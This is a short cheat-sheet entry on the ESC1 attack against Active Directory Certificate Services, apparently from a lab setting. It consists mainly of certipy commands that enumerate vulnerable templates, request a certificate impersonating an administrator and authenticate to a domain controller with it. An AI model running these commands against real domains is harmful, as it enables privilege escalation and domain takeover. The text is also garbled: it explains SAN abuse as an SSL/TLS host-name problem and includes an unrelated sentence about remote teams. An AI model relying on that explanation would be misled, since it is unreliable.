1️⃣ESC1 - Arbitrary Subject Alternative Name (SAN)

An Arbitrary Subject Alternative Name (SAN) attack refers to a situation where an attacker can manipulate or insert unauthorized Subject Alternative Name entries into an SSL/TLS certificate.

The Subject Alternative Name field in a certificate is used to specify additional host names for a single SSL certificate. This attack could allow malicious actors to impersonate legitimate entities or conduct man-in-the-middle attacks.

Being a remote team means team members work from home or in a co-working space.

certipy find -u [e-mail] -p 'Password123!' -dc-ip 192.168.1.110

Certipy-ad - Debian

certipy req -username [e-mail] -password Passw0rd -ca corp-DC-CA -target ca.ad-attacks.local -template ESC1-Test -upn [e-mail] -dns dc.ad-attacks.local

First Tab

certipy auth -pfx administrator_dc.pfx -dc-ip 172.16.126.128

Second Tab